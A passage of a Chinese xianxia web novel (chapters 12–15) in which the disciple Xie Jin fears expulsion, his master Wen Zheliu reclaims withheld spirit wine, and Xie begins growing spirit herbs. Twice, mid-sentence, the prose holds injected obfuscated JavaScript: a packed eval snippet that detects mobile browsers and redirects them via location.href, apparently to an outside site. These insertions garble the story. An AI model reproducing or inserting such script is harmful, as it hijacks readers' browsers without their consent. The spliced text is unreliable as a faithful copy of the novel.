谢槿咬了咬唇,向来如青竹般笔直的脊背弯下,垂首道:“师父教训的是,徒儿知错了。” 闻折柳凝望他须臾,什么也没再说,捞起小黄鸟和所剩不多的那瓶冰心玉壶起身,抬脚越过谢槿身侧时,谢槿微垂的头更低了几分,撑在地上的双手更是死死攥紧了衣袖。闻折柳顿了下,眸光沉沉望向他。 “是哪个执事扣本座的酒?” 谢槿还以为师父要走了,闻言着实松了口气,气息却像抽泣般,沙哑嗓音也有些紧绷。 “听闻,是明礼真人。” 闻折柳拎起灵酒转身就走,怀里小黄鸟冷不丁叽了一声,他便又回过头,斜了谢槿一眼。 “除了酒,还克扣了什么?” 自己那点画符材料,根本就不重要,可闻折柳这么问了,谢槿突然觉得心里有些委屈。 “还有徒儿的朱砂。” 闻折柳冷哼一声,兜着想窜出怀里的小黄鸟拂袖而去,这一次,是一步也不曾停留过。 待他离开大殿,谢槿一颗心如同沉入谷底,心中的委屈难过开始疯狂滋长,张了张口,也不知该同谁诉说,便又抿紧嘴唇,盯着桌上那三瓶主峰送来的冰心玉壶在地上跪了好一阵,才扶着桌角爬起来,转身离开,想了想又回头收起了三瓶灵酒。 完了。 他在赤月峰的生涯结束了。 谢槿轻叹一声,在怀中取出一直带着的红玉牌,指腹轻抚过赤月峰三字,颇为不舍地将其放到玉案上,还有存放着赤月峰月例的储物戒,将属于赤月峰的东西都留下。 他的房间在前殿一角,原本就没在这里住多久,这连床都没有一张的屋子里依然空荡荡的,也就是窗口多了一支桂枝。前些日子谢槿在山里修炼时偶然碰见一颗桂花树时采的,插在师父喝完酒后的玉瓶里,拿来装点房间,看着也多了几分生机。 看看着整洁的房间,谢槿又是一声轻叹,他来揽月宗时也只带了一身衣裳和一些贴身之物,也没什么好收拾的,便取纸笔写信。 他还是自己老老实实去外门,免得闻折柳赶人了。 他这样不能学剑的徒弟,闻折柳本来就不想要,几次三番劝退,二人性格又合不来,非要留下,像今天这样的事以后还会发生。 谢槿提笔开了头,刚写下师父二字,又提笔划去,抿了抿唇,翻了一页,改为忘忧真人。 他承认今日这事是他做了一回伪君子,没有考虑到小孩哥的心情,自以为是刷好感,其实就是算计人心,手段还十分拙劣,若是换了个气量小的,往后绝不会与他往来。 算计到了小孩子头上,闻折柳看不上他也没错。 再者,他也没有顾及闻折柳的心情,就算闻折柳说过,谢槿和主峰的人结交与他无关,他其实不应该隐瞒闻折柳灵酒被扣的事。 然后又自作聪明地 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下山时,谢槿既没用符,也没用上那套踏雪寻梅。 这一走可没机会回来了,他得好好观赏一番这满山红叶,还有得给大师兄回信道歉才是。 大师兄回信时还说与君共勉,才七岁的小孩,也不知能否看出他这次送礼根本目的不纯? 一个月前刚来赤月峰时,谢槿还是从半山腰一个台阶一个台阶往上爬的,现在从山顶下山,走着同一条路,心情却完全不同了。 当时是期待、向往,今日是羞愧、不安和懊悔。 谢槿不禁感慨,生活果然不是破题那样简单,尤其是在修仙界。他在人间读书时学来再多,到了这里全都用不上,一切都要从头来过,也要从头修炼一遍他的心境。 而在闻折柳口中,他应当知晓的君子之道,他这些年只是在读,其实从未真正的领悟过。 如今回想起来,他自从来到揽月宗以来,这一个月的确是过于浮躁了。若是在家中,父亲一定会狠狠打他手板,叫他面壁思过。 这里是修仙界,骤然变了生存环境,没了头上庇佑的大树,他需要依靠自己才能活下去。 可不管在哪里,都能修炼。 不论在何处,不论遇到何事,都不能失了本心。 不要成为自己最讨厌的小人。 谢槿思及此,心境豁然开朗,不自觉吸收起半山林间的灵气,将丹田内灵池一点点蓄满。 顿悟破境,就在一刹。 灵池在蓄满的一瞬再次拓宽,丹田能运用的灵力比以往更多了,能蓄积的灵气也更多了。 谢槿愣了下,感受到萦绕周身的水木灵气,弯唇笑叹一声,索性就地打坐,吸收起灵气。 待吸收完这些灵气,已近暮色。 谢槿缓缓平复气息,睁开双眼,抬起双手感受着丹田灵力,竟是提前提升到了练气四层。 可还没等他高兴,肩头上突然搭上来一只手—— “嘿!在干嘛呢!” 谢槿两辈子都有心疾,本就胆子不大,被这么一下,魂儿差点飞了,扣住一张符纸拍去。 那只手更快攥住他的手腕,化解去他手中灵力。 “咦?你也要干架吗?” 听着语调,原来吓唬他的这家伙是隔壁玄月峰那位玄意师叔,谢槿急促的心跳才缓了些。 谢槿挣扎不开,唯有颔首喊人,“见过玄意师叔。” “免礼免礼!” 玄意这才松开他,摆摆手便笑嘻嘻揽上他肩头,还是上回吊儿郎当的样子,相当自来熟。 “你怎么还在这呢?没跟你师父去清月峰干架吗?” 13. 第十三章 谢槿懵了,“师父去了清月峰?” “是啊!”玄意捧着心口,一脸感动,“我听说他刚去清月峰打劫回来,还揍了陈明礼一顿!真的是,前几天说了不去不去的,结果人家一走他又跑去干架了,真的是……” 玄意嘿嘿笑了笑,回头拍拍谢槿肩头,“这次还算你师父够义气!以后咱们赤月峰玄月峰就是一家人了,小师侄别跟师叔客气。” 谢槿听得一头雾水,“什么?” 师叔这话怎么说得赤月峰玄月峰要合并了一样? 玄意跟着一愣,“你不知道?” “早上师父还在山上。”谢槿连清月峰在哪里都不知道,怎么会知道闻折柳去了那里? 他也就那时见过闻折柳了,没想到师父会跑去清月峰……打劫?谢槿灵机一动想到什么,谨慎地问:“陈明礼,就是明礼真人?” 玄意听到这名字就是一脸嫌弃,“就是那个狗东西!仗着自己现在当上内门执事,拿着鸡毛当令箭,我的东西他都克扣了好几回,还说什么揽月宗九峰新立,宗门没那么多资源,叫我体谅宗门,狗屎!” 谢槿嘴角一抽,你们修仙的骂得也挺不拘一格啊。 不过看谢槿明显不知情,玄意也就没了跟谢槿分享快乐的兴趣,转身往山上走去,“你师父呢?应该在山上吧,我听说他刚回来。” 谢槿哪里知道师父在哪里,更没想到他今天刚说出明礼真人克扣赤月峰灵酒的事,师父居然就敢打到清月峰去,他也想知道怎么回事,可他都打算离开赤月峰了…… 谁料玄意走出没几步,又冷不丁跑回来,一把抓起他肩头,召出灵剑,大笑着御剑上山。 “你怎么还在这发呆!走走走,一块上山分赃去!” 谢槿:“……师叔!” 谢槿一个趔趄,人就跟小鸡崽似的被拎到天上,还没等他站稳,玄意就松了手,看到脚下踩着的并非剑,而是一道几近虚幻却又平稳的剑光,离下山的石阶路越来越远,眨眼就到了十数丈高空,他此时才反应过来,心脏跳得快要跃出胸膛。 又是御剑! 生平头一体验上御剑的谢槿根本没觉得爽,反而有些恐高,赶紧抓起身前玄衣的衣袖。 “玄意师叔,慢,慢些!” 玄意御剑又快又急,任大风吹拂,他还迎风招展,“慢不了一点!你怎么能连御剑都怕?” 谢槿一张嘴就被灌了一肚子冷风,只能憋屈地伸手捂嘴,另一只紧抓住玄意衣袖不放! 好在这样风中凌乱的时间不长,很快就到了山上,飞剑落地,谢槿脚踩在地上跟踩棉花上似的晕乎乎,心跳总算缓下来,松开玄意弓腰走到旁边的解剑池干呕起来。 玄意看他这副模样也是琢磨不透,挠头道:“你怎么连御剑都受不住,这样还怎么学剑?” 谢槿有苦说不出,他也没想到自己还会晕剑啊! 看他吐得脸都白了,玄意也慌了,摆手道:“那个,我不是故意的啊,你别告诉你师父……” “不告诉我什么?” 闻折柳的声音冷幽幽传来,叫解剑池边二人俱是浑身一僵,谢槿也不吐了,悄悄抬头。 那熟悉的红袍身影正站在前殿门前,也不知道何时来的,脚边堆着许多一模一样的白玉瓶。谢槿一眼就认出来,那就是闻折柳往日最爱喝的冰心玉壶,都没开过封。 哪儿来的……不对,师叔刚说,师父去打劫了? 而正巧被抓包的玄意也是一脸要遭的表情,挤眉弄眼冲谢槿示意着什么。谢槿本就心虚,不说看不懂,就是看懂了也默默别开脸。 玄意苦着脸,慢慢转过身。 他这人变脸很快,一看到闻折柳就挤出来一脸殷勤笑容,收剑凑过去,“忘忧哥哥,你回来的好快啊,哇!你这是抢了多少酒!” 这一声忘忧哥哥调子堪比九转八弯,谢槿都听得起了鸡皮疙瘩,闻折柳更是一脸嫌恶。 “滚下山。” 玄意收敛了些,横他一眼,又忍不住龇着大牙乐起来,围着那堆灵酒左看看右看看,“上次喊你去干架你不去,结果瞒着我跑去揍陈明礼!真是口是心非!算了,大家都是好兄弟,我不跟你计较,你都抢了多少东西?哎……怎么都是灵酒?” 他转了一圈,没发现灵酒以外的任何物件,又是失望又是恨铁不成钢,“啊……就这些?你怎么没把清月峰私吞的东西都搬回来?” 闻折柳看他的眼神还是像在看脏东西,“你有证据证明他私吞,就自己去主峰告发他。” 他说完瞥向谢槿,眼神跟往日没什么差别,“不在山上修炼,跑去跟不相干的人学剑?” 意识到这是在跟自己说话,谢槿一愣,再看向那‘不相干之人’玄意,桃花眼里满是迷茫。什么意思?师父不是要赶他下山吗? 玄意这个不相干之人有点不忿,不过更在意的不是这些,“你去清月峰不是帮我打架的吗?我要的不是灵酒啊,陈明礼那狗东西扣掉我的东西,我要他十倍还回来!” 闻折柳皱起眉头,“谁帮你了?” 他又看向谢槿。 谢槿连忙摇头,他可什么都不知道,要不是玄意师叔把他拎回来,他这会儿已经下山了。 闻折柳仿佛能听见他的心声一般,狐疑地打量起谢槿,“你不好好修炼,跑下山去了?” 谢槿支吾道:“这……” 闻折柳还是没太多耐心,又嫌玄意待在这里烦,瞥了眼脚边那堆灵酒,“还磨蹭什么,天都要黑了,赶紧把这些灵酒搬进去。” 谢槿只好应是,低着头起身上前搬灵酒,心中实在百思不得其解,师父到底是什么意思? 这一瓶冰心玉壶大抵有个三五十斤重,谢槿如今才练气四层,因为没有炼体,一次最多只能搬个五瓶,等他将五瓶灵酒送进前殿再出来,殿前就只剩下闻折柳一人。 玄意已经没影了。 虽说只见过两面,在谢槿看来,玄意师叔应当是个会死缠烂打的人,不达目的不会罢休。 该不会又被打飞了吧? 谢槿正要继续搬灵酒,闻折柳的声音冷不防在他头顶响起,“先别搬了,这个,拿着。” 闻言,谢槿站起身来,就见闻折柳给他抛过来一个小小的绿圈,他接过来,手感冰冰润润的,细看才发觉是一枚水头相当漂亮的碧玉戒指,雕刻云纹,蕴含灵气。 谢槿来了揽月宗一个月,也算是有些见识了,灵力探入戒指,果真触碰到一个储物空间。 “这是……” 他倏然瞪大一双桃花眼,惊愕地看着闻折柳。储物法器向来贵重,空间越大越珍贵,他之前的储物袋只有两三平方,这个储物戒空间却足足有将近百平,而且里面有着堆积成山的灵石和各种谢槿认识的不认识的灵宝材料……这是他能拥有的? “给你了就是你的,陈明礼那蠢货胆敢克扣我赤月峰的东西,我自然是要他百倍奉还。” 闻折柳这话说得好生霸气,叫谢槿原本不安的心一下安稳下来,又是惊喜,又不确定。 “那,徒儿不用下山了?” 闻折柳伸手摄来一瓶冰心玉壶,撕开封纸正要喝,闻言眼神愈发奇怪,“你下山做什么?” 真的没有……谢槿一双桃花眼亮起来,又闪躲着别开眼,小声道:“没什么,就丢垃圾?” 原来师父不是要赶他下山! 那之前…… 又是他想多了? 大悲大喜之下,谢槿人是懵的,反应却是不慢。 闻折柳俨然不信,拧眉凝望他须臾,漫不经心抿了一口灵酒,灵酒寒意入喉,也抚平了他眼底的烦躁。他轻哼一声,颇有些高贵冷艳地说:“今日之事,本座已经摆平,日后再遇到这种事若还敢隐瞒,再被人欺负,你就别说是我闻折柳的弟子。” 所以师父只是气他隐瞒不报吗? 谢槿本该在下山时就平复下来的心情又泛起涟漪。 师父……这是要护着我? 过去一个月里,谢槿真的以为师父是不喜欢他的。 此刻的谢槿,就如方才的玄意,是真的很感动。 不过谢槿怕自己也跟玄意师叔一样会错意,心里另一个声音让自己冷静下来,认真点头。 “徒儿明白了。” 他虽压抑住心头感动,却藏不住眼里的感激,一双桃花眸子亮晶晶的看着闻折柳,似有几分水光,叫闻折柳怔了下,别开脸拂袖一挥,将满地白玉瓶收入储物法器里。 “算了,看你磨磨蹭蹭的,也不知要搬到何时。” 谢槿方才动容一瞬,看到这一幕又是一顿,欲言又止,所以,师父根本可以自己搬酒的? 你挥一挥衣袖,不比我快吗? 灵酒都收起来了,也就不必谢槿搬了,闻折柳转身往前殿走去,随口道:“回去修炼吧。” 谢槿攥紧碧玉戒指应是,正要跟上,闻折柳突然站定,还好谢槿及时停下脚步,“师父?” 闻折柳回头看向他,伸出手。 “垃圾。” 谢槿大脑飞快运转起来,只能取出储物袋里那三瓶从诸月峰送来的冰心玉壶,拱手奉上。 一瓶不多,一瓶不少。 闻折柳轻哼一声,听不出是喜是怒,总之一挥袖都收入了储物法器里,又朝谢槿伸手。 “还有。” 谢槿真的拿不出来了,“大师兄只送来了三瓶灵酒。” 何况师父早上不是很生气吗?他会喝掌门的酒吗? 不会偷偷倒掉吧? “他月诸峰的酒,本座喝的还少吗?”闻折柳嗤道:“别跟我在这里废话,那些木雕呢?” 木雕也算垃圾吗? 谢槿实在猜不透师父心思,从储物袋里翻出一个木匣,老实得很,“剩下的都在这里了。” 闻折柳指尖轻抬,木匣便自行打开来,里头躺着一匣子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105392|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木雕,都是用蟠龙木边角料雕刻的,多少沾点灵气,要说多精美也没有,唯有躺在最上面的一只小白猪精致些。 这小白猪跟寻常的猪还不太一样,穿着肚兜,抱着一个酒坛,是张嘴流着口水的醉态。 闻折柳盯着那只小猪许久,伸手拿起来,琉璃目幽幽望向谢槿,“这个,也是你雕的?” 完了! 是送出玉蝉木雕之后手太闲了,随手雕了一只小猪,而且……谢槿不敢看闻折柳的眼睛。 这是仿闻折柳喝酒姿态雕刻的。 仗着根本不像闻折柳,谢槿试图狡辩,“是徒儿……” 闻折柳打断他的话,“你雕这只猪时,骂的是谁?” 不会真看出来了吗? 那必须不能认! 谢槿闭了闭眼,豁出去道:“是徒儿!徒儿是猪!” 闻折柳挑眉看向他,须臾后哼笑一声,将小猪丢回木匣里,接着又将木匣收入储物法器。 “隐瞒本座与月诸峰大弟子私相授受,坏我赤月峰规矩,这些都是赃物,本座没收了。” 谢槿震惊,私相授受不是这么用的啊!虽然早知师父不爱读书,可师父好像还真没文化…… 还有赤月峰哪儿来这规矩?这些怎么就成赃物了? “师父……” 他一开口,闻折柳便冷眼看来。 谢槿识趣收回手,垂头认命。 “师父说的是,徒儿日后绝对不会再犯了。今日回去便写信同大师兄道歉,再不往来了。” 闻折柳深深望了他一眼,语气似乎有所缓和,“倒也不必,不过本座再落魄,也不会为了灵酒让自己的徒弟去求人,明白了吗?” 谢槿恍然大悟,原来他想了半天,师父生气的点在这里……他还以为,师父是讨厌他了。 谢槿神色郑重起来,“徒儿明白了,日后若是再遇到这种事,一定会先同师父报备!”他向来心思重,此刻难免有些忧虑,“不过师父打了明礼真人,不会有事吧?” “掌门都打了,他算什么?”闻折柳摆摆手,转身饮了口灵酒,随他身影远去的嗓音也添上几分沙哑,“我闻折柳的徒弟,凡事随心即可,想那么多,不如一剑忘忧。” 谢槿怔了下,望向他回到殿中的背影。原来师父道号忘忧,不是一醉忘忧,是一剑忘忧。 好像也是,师父把别人打了,忧的就该是别人了。 等看不见闻折柳身影后,谢槿立刻一反方才冷静,匆忙跑回房间,打开房门看到那封告别信还被压在玉牌之下,俨然没有被打开过的痕迹,谢槿松了口气,抄起烛台一把火将信给烧了,一点灰烬都没剩下。 做完这些,他才真正放松下来,瘫坐在地板上。 可就在这时,他又猛地回过头,一双桃花眼惊恐地望向窗台,窗台上正蹲着一只毛团似的小黄鸟,挺着胸前绒毛,静静盯着他。 黑豆豆眼仿佛看穿一切。 谢槿刚紧绷起来的心弦才又放松下来,凑过去问:“你什么时候来的?怎么一直不吱声?” 刚才师父那里也没见到小黄鸟,这是极少见的。 谢槿正纳闷,小黄鸟却啾的一声,扭头看向别处,他心下惊疑,这不会是看懂了信吧? 你只是一只小鸟啊! 到底是灵宠,谢槿不敢大意,取出怀里手帕包着的小点心,捧着送到小黄鸟面前,温声道:“咱们打个商量好不好?不管你刚才看到什么,都当做不知道,不要告诉师父好不好?不然,我就得离开赤月峰了。” 小点心果然引来小黄鸟注意,把脑袋转了回来。 谢槿又哄道:“我要是走了,以后就不能每日给你上供点心了,灵宠大人,您帮帮我吧?” 小黄鸟胸前的绒毛抖了抖,又频频看向小点心。 谢槿便将手帕放到窗台上,双手合十,一脸诚恳,“求求你了,帮帮忙吧,灵宠大人?” 小黄鸟歪了歪头,冷不丁扑腾翅膀过来,在谢槿手背上啄了一下,转头又飞回窗台叼上点心,头也不回地飞走了。谢槿都没感觉到疼,探头到窗台看去,朝它招手。 “那就多谢灵宠大人了!” 点心拿了,他就当小黄鸟答应了。 毕竟这一声灵宠大人可不是白叫的,目送小黄鸟飞远,谢槿弯唇笑了笑,转身就地躺下。 这一整日下来,心情起起伏伏跟坐山车似的,着实叫人有些心累,可捏着闻折柳刚给他的那枚碧玉储物戒,在日光下端详着,谢槿心头又添了几分暖意,笑叹一声。 “师父……也还算个好师父吧。” 哪怕脾气算不上多好,至少护犊子是真的,连掌门和掌管内门资源的执事真人都奈何他不得,可见师父是个硬茬子,在赤月峰修炼,便无需担忧会被什么人欺负了……何况,师父还送了他这么好的储物戒。 师父要是一直都这么好…… 这赤月峰,他能待一辈子。 14. 第十四章 可就算闻折柳不生气了,谢槿还是连夜给大师兄萧珩回了信,没有提道歉什么的,只是这次回信真心了许多,大师兄回信提及修炼,他便也诚心实意地回复了自己的修炼心得,末尾感激大师兄慷慨解囊。 大师兄如今虽然年幼,可他出身皇室,是大郦王朝公认的准太子,绝不是蠢笨之人,不管是萧珩回信时说与谢槿共勉是单纯客气还是如何,这灵酒到底是给了。哪怕谢槿不需要了,也是真心感激他的。 这也提醒了谢槿,他为避免日后给大师兄所杀的命运想刷大师兄的好感,本就居心不良,与人结交时若没有半点真心,大师兄早晚能看出来,他又与原文的炮灰何异? 不都是伪君子? 既然要与大师兄结交,他便该是真心实意的,若是不能,便敬而远之,也断不可得罪人。 如今离大师兄长大遇到主角受的剧情开始还早着,谢槿暂且不去想那些,他从这一日悟到了许多,将这些心得也都记在了自己的小本子上。修仙界与人间到底不同,强者为尊,不需要太多的虚与委蛇。 可在弱小时,也需要经营好身边的人情交际,总而言之,先苟着,但也不要失去本心。 尤其最重要的一点要记下来:闻折柳喜欢坦诚的人,在他面前,一定不要有任何隐瞒! 叠好信件,谢槿便收了起来,等哪天下山再让福德堂的人帮忙送。不过若是他能学会折纸传信的术法,就不再需要旁人送信了。 这折纸传信的法术,谢槿现在也能学,师父给的储物戒里也有不少材料,果然是他此前的百倍。谢槿为求稳妥,还是想先练练。 能够继续留在赤月峰,谢槿的心境平和了许多,不再去想什么灵酒,还有被克扣的资源,重新整理起那套闻折柳传授他的入门功法,还有闻折柳给的符道书和阵书。 他提升到了练气四层,能学的灵符和术法、功法也更进一层,且不说灵符术法,那套无名心法他也迈入了第三重,这也是他目前主要修炼的功法,左右他也无心睡觉,便修炼了一夜,天亮才停下来。 说实话,谢槿也不确定小黄鸟会不会告密,所以去前殿时,他心里还是难免有些紧张的。 直到见到闻折柳如往常那般,侧躺在玉座上喝酒逗鸟,谢槿才算放心,跟闻折柳手掌上的小黄鸟交换了一个感激的眼神,行过礼便就地打坐,继续修炼起心法第三重。 这事算是翻篇了。 临近黄昏,谢槿从入定中回神,睁眼就见小黄鸟蹲在一旁书案上,脑袋一点一点地打着瞌睡,书案上放着的手帕只剩点心碎屑。 难得能在这个时候见到小黄鸟,却不见闻折柳。 看小黄鸟睁一只眼闭一只眼的睡着,谢槿疑似被它拿捏软肋,也不敢吵醒它,便悄悄起身走出大殿,没想到一出门就就见到了闻折柳,他身边还有个神清骨秀的男修士。 经过这一个月有意无意的打听,谢槿初步分辨出九峰内门弟子的服饰特点,从那年轻修士的衣袍上看,应当至少是长老级别的内门中人,月白道袍之上纹饰是水月纹。 隐月峰? 谢槿刚想到这个名字,就听见那修士沙哑虚弱的嗓音,“殿中那新来的孩子怎么在学那套功法?忘忧师弟,你可真是能偷懒。” 这语气与玄意截然不同,倒像是颇有几分温和慈爱,闻折柳却是一如既往的不以为然。 “他又不肯去外门学,难道要我教他基础功法?”他忽而顿住,回眸斥道:“谢槿!” 谢槿闻声快步走下月台,朝闻折柳二人躬身行礼。 “徒儿无意偷听,师父息怒。” 他刚说完,背后传来叽的一声,肩头便蹲了只小鸟。小黄鸟不知什么时候跟出来,抖了抖小翅膀,豆豆眼静静看着闻折柳二人。 那位面色苍白的清俊道人低咳一声,笑道:“无妨,是本座与忘忧师弟聊得太忘我了。” 谢槿知道他说的是客气话,又朝那道人歉意地行了一礼,“是弟子惊扰了师父与师伯。” 没等谢槿拜下,一道柔和清风便将他扶了起来,这种新奇的体验叫谢槿一愣,便听那道人笑道:“谢师侄不必客气,本座道号虚谷,乃是隐月峰峰主,离你们赤月峰不远。本座看你也是个合眼缘的,你若是得了空,可来我隐月峰多认识些同门,可莫要像你师父那般整日窝在山上。” 隐月峰?新地图啊。 谢槿心中好奇,面上不显半分,应道:“多谢师伯。” 这位师伯定是与师父十分熟稔,才敢当着师父的面数落师父,而师父看着分明没生气。 正如谢槿心中分析,闻折柳的确不气,就跟没听见似的,自顾自喝着他那心爱的灵酒。 虚谷真人摇头失笑,“罢了,我也该回了。师弟,明礼的事,就让他过去吧,掌门那里我来说,这回叫赤月峰受了委屈,我这个做师兄也有疏忽之过,回头定会狠狠教训他一顿,你也消消气,好好养伤。” 闻折柳轻哼一声,并不言语。 虚谷真人叹了口气,又朝谢槿笑了笑,手中拂尘轻轻一甩,便召来云团,腾云离去了。 谢槿只好拱手送别,然后看向闻折柳,欲言又止。 闻折柳一双琉璃目正盯着蹲在他肩上的小黄鸟,自然也没错过他这个表情,啧了一声。 “想问什么?” 吸取了昨日的教训,谢槿不敢再有隐瞒,斟酌了下言语,道出心中疑惑,“师父对这位隐月峰的虚谷真人态度不明,弟子有些疑惑,揽月宗九峰之间究竟是什么关系?若是徒儿今日不问,他日再碰上其他峰的人,只怕不小心又触怒了师父。” 闻折柳哼笑一声,“你当本座是炮仗,没事就炸?” 谢槿连忙低头,“徒儿不敢。” 他肩上的小黄鸟挺起胸毛,眼神犀利地看着闻折柳。 闻折柳微眯起眼,撇了撇嘴,“我们赤月峰乃是月诸峰分出来的三阳剑脉之一,恒月峰、盈月峰、玄月峰同是玉阳心决一脉,剩下四峰皆是春秋玄功一脉,虚谷师兄便是这一脉的大师兄,都是守拙师叔的弟子,今日他是来替清月峰那蠢货道歉的。” 他又说:“今日的九峰,原本都是一个师祖座下三峰出来的师兄弟,能有什么纷争?不过是有些人拎不清,不服我三阳剑脉接掌宗门,打几顿就好了。我们赤月峰没有得罪过任何人,但谁也休想欺辱我赤月峰。” 谢槿赶紧掏出本子记下来,所以赤月峰跟主峰怎么吵都是三阳剑脉自家人吗?所以明礼真人被师父打了也只能吃下这个哑巴亏,他那一脉的师兄还要来给师父道歉…… 这么看来,揽月宗内门三脉还是以三阳剑脉为主的。 这事闹起来,往小了说,就是清月峰跟赤月峰的私人恩怨,往大了说,其实是春秋玄功一脉对三阳剑脉和玉阳心决两脉的不满吗? 至少,明礼真人是不服的。 谢槿顿时庆幸自己没有非要插手到这些事情里头,边记边问:“那师父为何还生气?” 闻折柳看见他那本子就挑起眉梢,倒也没说什么,饮了口酒说:“没生气,只是看不惯有些蠢货。记完了没有?练气四层了?” 一口一个蠢货,师父骂人时也嘴毒。 谢槿飞快记下,合上本子,期待地看着闻折柳。 “昨日侥幸提前提升到了练气四层,弟子便开始修炼无名心法第三重,不过方才虚谷真人的话……师父,这功法莫非有问题?” 谢槿问得很认真,毕竟这事关他的修炼之道。 闻折柳趁鸟不备,一伸手抓住了小黄鸟,任它在掌下扑腾挣扎,他勾唇笑得颇为冷艳。 “没有。” 谢槿被耳边扑腾的声音吓了一跳,只看闻折柳一伸手肩上的鸟就没了,他心中惋惜,却不敢抢,又得到这答案,不免惊慌起来。 “师父你就不多解释一句?而且什么叫我又不肯去外门修炼?难道师父其实是打算让我先去外门修炼筑基,才唤我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105393|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回山上学剑?” 所以,师父根本不是要将他逐出师门的意思? 闻折柳手下一顿,态度嚣张,“难道你想要本座一个化神期剑修,手把手带你筑基?” 猜中了? 那…… 他这一个月白担心了? 谢槿整个人恍惚了,所以他这一个月过得什么日子啊?还不如去外门修炼到筑基是吧? 闻折柳收拾好了叛逆的小黄鸟,塞进衣襟下只露出个脑袋,便朝谢槿扔过来一个袋子。 谢槿都没来得及多看一眼他衣襟下的雪白胸肌……呸,可怜小鸟,条件反射接过袋子。 是个月白色的锦囊。 “这是虚谷师伯给的?” 闻折柳道:“一些赔礼,大头我收了,这是你的。你把它们种起来,以后每日浇灌灵泉。” 拿了大头承认了…… 不愧是师父。 谢槿嘴角一抽,打开锦囊一看,真的是一把种子。 “我,种灵草?” 闻折柳理所当然,“你不会?你不是人间来的吗?” 谢槿想比划清楚自己不是什么贵族出身,却从来没种过地,可一看闻折柳一脸人间来的就该会种地的表情,他就放弃了,师父真的是不食人间烟火,他还是不解。 “为什么突然要种灵草?” 闻折柳冷笑,“虚谷师兄说山上有一片光秃秃的,倒不如收拾一下种上灵植,各峰上也多有灵植,他那里别的不多,灵药灵草是从来不缺的。不过你猜,山上怎么会有一块光秃秃的,让虚谷师兄瞧见了?” 谢槿心下警觉,眼神闪躲。 “我烧的?” 闻折柳反问:“你说呢?” 谢槿惭愧低头,“一定要种吗?” 闻折柳是无所谓的,“反正我不会种,各峰都是弟子打理庶务,这些事自然是你来做。” 那你就做个甩手掌柜? 谢槿想了想,提议道:“要不,师父多收几个弟子上山,跟我一起种地?记名弟子也行!” 闻折柳断然拒绝,“不要,有你一个已经吵死了。” 谢槿真不明白自己哪里吵了,却也拿闻折柳没办法,只好叹气应是。闻折柳还有点良心,扔给他一本册子,“奉剑师兄以前在主峰种灵药时的心得,你自己看着种吧。” 谢槿接过册子,心里也有底了。 “那徒儿的修炼……” “不能耽误。” 又要种灵草,又要修炼,的确麻烦了些。闻折柳皱了皱眉头,揣着小黄鸟转身走回殿中。 “你要是能种好这些灵草,过几日,本座给你加练。” 师父认真的时候,总会自称本座。 “真的?” 要是有化神期师父亲自给他加练,那要在三月内达到练气八层,应该也有希望了吧? 谢槿立马表态,“徒儿一定做到!” 闻折柳才不管这些杂七杂八的,摆摆手就又没影了。 谢槿腹诽了句懒鬼师父,便翻开手中册子。奉剑真人是个脾气极好的人,他相信奉剑真人种植灵药的经验,问题是这册子看着年代有些久远了,有些字迹都模糊了。 谢槿就着落日霞光,一页页翻下去,认真看起来。 灵草,可吸收天地灵气,同时吐纳净化灵气,改善土质水源,多为五行属性,大部分可以入药,也划分为从初中高级等九个品级。 再往上,便是传说中的仙草神草,一般人培育不出来,多是天生地养吸收日月精华而生。 而种植灵草,只需要三步。 谢槿边看边点头记下,又翻了一页,奉剑真人是这么写的:挖坑、埋种子、等待发芽。 谢槿:“?” 他重新看了一遍,确定他并没有看错,奉剑真人的确是这么写的,很简单,也很粗暴。 谢槿沉默了。 奉剑师伯,您是认真的吗? 15. 第十五章 奉剑真人种植手册最后一页,统计了他种植以来的灵药种类数量,事实证明,不足一成的灵药能在他手下活过来,全靠命好。 所以按照奉剑真人的经验种灵草,是不可能的。 果然还是得靠自己啊! 谢槿琢磨半天,来到前殿的博古架,取来一只通透的琉璃玉瓶,便回房开始研究育苗。 他没种过地,也活了两辈子,将科学种植与奉剑真人种植手册上的野蛮种植结合,先淬炼灵液、催发种子活性、培育出芽,再择实地检测土壤的灵气浓度,然后才种下去…… 忙碌至深夜,谢槿房中仍灯火通明,手中捏着一个小小的琉璃瓶,一双仿佛在发光的桃花眼紧盯着瓶中咕嘟咕嘟沸腾的诡异绿水。 总之如此这般的,琢磨了三天,第一批种子水灵灵地发芽了,还好虚谷真人送来的种子活性都很高,然后谢槿将自己之前烧了的那片焦黑山林清理一遍,挖坑种灵草! 闻折柳就站在一边看着,谢槿才种好一块地,那颤颤悠悠的小苗在布下初级聚灵阵的地里焕发光彩,闻折柳怀里的小黄鸟就扑腾着翅膀飞出去,一张嘴叼了一片嫩叶。 谢槿又气又急,“师父!” 闻折柳抬手,剑气立时圈住小黄鸟,带回掌中。 谢槿这才放心些,将坏了的那根灵草苗换上了新的,拎着花锄将近百株灵草苗划分为三块地种下去,“师父,这下算种好了吧?” 闻折柳抓起手里疯狂扑腾的小黄鸟,语气依旧懒洋洋的,“那你得先防住它,否则一夜过去,你这一片地的灵草就都没了。” 谢槿也没想到这小黄鸟见到灵草苗会这么喜欢,不过想到种地的确要防虫防鸟,他的确是该想点防御手段,桃花眼忽然一亮。 “有了!” 